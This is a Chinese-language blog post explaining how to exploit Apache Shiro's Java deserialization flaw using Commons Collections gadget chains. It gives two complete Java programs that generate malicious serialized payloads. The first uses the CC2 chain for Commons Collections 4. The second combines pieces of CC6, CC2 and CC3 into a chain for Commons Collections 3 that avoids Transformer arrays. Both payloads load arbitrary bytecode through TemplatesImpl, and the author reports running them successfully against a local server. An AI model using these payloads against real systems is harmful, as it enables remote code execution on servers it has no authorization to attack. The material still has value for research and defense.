简介
上文主要分析了shiro框架存在反序列化漏洞的原理,并且用URLDNS链成功探测出此漏洞。那么如果此框架中添加了CC依赖,我们就可以拿CC链来打了。事实上在ysoserial里,只有CC2能打,因为shiro框架大多都添加Commons Collections4这个大版本。本文就主要分析针对于Commons Collections3和4两个版本shiro反序列化中CC链的利用。
打Commons Collections4.0
简单说下CC2链,执行类和CC3是一样的,利用TemplatesImpl类动态加载字节码,而CC2的反序列化入口类为PriorityQueue,看一下它的readObject函数:
 
队列元素也被序列化了,最后调用heapify函数,
 
继续跟进
 
comparator属性在构造器中被赋值,可控。继续跟进
 
最终调用可控任意类的compare方法,将comparator赋值为transformingComparator类,跟进。
 
调用了任意类的transform方法,这个方法很熟悉了,让transformer赋值为invokerTransformer对象来调用它的transform方法,在transform方法通过反射调用TemplatesImpl类的newTransformer方法来对恶意字节码进行类加载和初始化。至此,整条链就对接上了。由于这条链没有单独拿出来说,所以在这就简单说一下思路。CC2链的完整exp:
| package com.serialize;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import org.apache.commons.collections4.comparators.TransformingComparator;
 import org.apache.commons.collections4.functors.ConstantTransformer;
 import org.apache.commons.collections4.functors.InvokerTransformer;
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.PriorityQueue;
 
 public class CC2test {
 public static void main(String[] args) throws IllegalAccessException, NoSuchFieldException, IOException, ClassNotFoundException {
 TemplatesImpl templates = new TemplatesImpl();
 
 Class c = templates.getClass();
 Field name = c.getDeclaredField("_name");
 name.setAccessible(true);
 name.set(templates, "aaaa");
 Field bytecodes = c.getDeclaredField("_bytecodes");
 bytecodes.setAccessible(true);
 byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
 byte[][] codes = {code};
 bytecodes.set(templates, codes);
 
 InvokerTransformer invokerTransformer=new InvokerTransformer("newTransformer",null,null);
 TransformingComparator transformingComparator =new TransformingComparator(new ConstantTransformer(1));
 
 PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
 priorityQueue.add(templates);
 priorityQueue.add(templates);
 
 Class cl = transformingComparator.getClass();
 Field transformerField = cl.getDeclaredField("transformer");
 transformerField.setAccessible(true);
 transformerField.set(transformingComparator,invokerTransformer);
 serialize(priorityQueue);
 }
 
 public static void serialize(Object object) throws IOException {
 FileOutputStream fileOutputStream = new FileOutputStream("cc2.bin");
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 objectOutputStream.writeObject(object);
 System.out.println("1.序列化成功");
 }
 
 | 
pom.xml添加CC4版本依赖,用cc2链子来打一下。
 
成功弹出计算器了。
打Commons Collections3.0
ysoserial里其他的CC链对于shiro框架的CommonsCollection3版本的依赖是打不通的,先拿CC6链尝试打一下,看看服务端报了什么错。
 
Transformer加载不到,在CC6中Transformer是个数组。
 
为什么数组类会加载不到呢?报错的地方在DefaultSerializer类的ClassResolvingObjectInputStream方法,我们跟进看一下。
 
原生的反序列化函数的内部实现是调用ObjectInputStream对象的readObject函数,而在本代码用了ClassResolvingObjectInputStream函数,这个函数是shiro自定义的输入流函数,跟进该函数看一下:
 
它重写了这个resolveClass函数,导致不能加载到数组类,具体原因是tomcat类加载的问题,与本篇文章内容关联不大,详细细节不再叙说。
既然数组类不能用,那么就用现成的CC链来拼接一条不用数组类的全新的链子。再打CC依赖的链子中,执行类有两种,第一种是Runtime命令执行,由于Runtime类未继承序列化接口,所以需要通过反射创建实例,而这种方式需要Transformer数组来迭代调用。所以只能用另一种方式,任意类加载。直接把CC3的后半段拿过来。
| TemplatesImpl templates = new TemplatesImpl();Class c = templates.getClass();
 Field name = c.getDeclaredField("_name");
 name.setAccessible(true);
 name.set(templates, "aaaa");
 Field bytecodes = c.getDeclaredField("_bytecodes");
 bytecodes.setAccessible(true);
 byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
 byte[][] codes = {code};
 bytecodes.set(templates, codes);
 
 | 
还是需要调用TemplatesImpl类的newTransformer方法,而这个方法可以通过InvokerTransformer来调用。那么到现在为止,需要找到一个点来调用InvokerTransformer的transform方法,利用LazyMap类。
 
而这一部分也不再说了,是CC6的前一段,那么直接拿过来就完事了。整条连就拼接上了,CC6的前半段加上CC2的中间一小段加上CC3的后半段,所以完整EXP为:
| package shiro.demo;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import org.apache.commons.collections.functors.ConstantTransformer;
 import org.apache.commons.collections.functors.InvokerTransformer;
 import org.apache.commons.collections.keyvalue.TiedMapEntry;
 import org.apache.commons.collections.map.LazyMap;
 
 import java.io.*;
 import java.lang.reflect.Field;
 import java.nio.file.Files;
 import java.nio.file.Paths;
 import java.util.HashMap;
 import java.util.Map;
 
 public class shirotest {
 public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
 TemplatesImpl templates = new TemplatesImpl();
 Class c = templates.getClass();
 Field name = c.getDeclaredField("_name");
 name.setAccessible(true);
 name.set(templates, "aaaa");
 Field bytecodes = c.getDeclaredField("_bytecodes");
 bytecodes.setAccessible(true);
 byte[] code = Files.readAllBytes(Paths.get("D://tmp/classes/Testdemo.class"));
 byte[][] codes = {code};
 bytecodes.set(templates, codes);
 InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
 HashMap<Object, Object> map = new HashMap<Object, Object>();
 Map<Object, Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
 HashMap<Object, Object> map2 = new HashMap<>();
 TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
 map2.put(tiedMapEntry, "bbb");
 map.remove(templates);
 Class cl = LazyMap.class;
 Field fieldfactory = cl.getDeclaredField("factory");
 fieldfactory.setAccessible(true);
 fieldfactory.set(lazymap, invokerTransformer);
 serialize(map2);
 }
 public static void serialize(Object object) throws IOException {
 FileOutputStream fileOutputStream = new FileOutputStream("wer.bin");
 ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
 objectOutputStream.writeObject(object);
 System.out.println("1.序列化成功");
 }
 }
 
 | 
本地开启服务打一下payload:
 
成功弹出计算器。
结语
 反序列化之路任重而道远。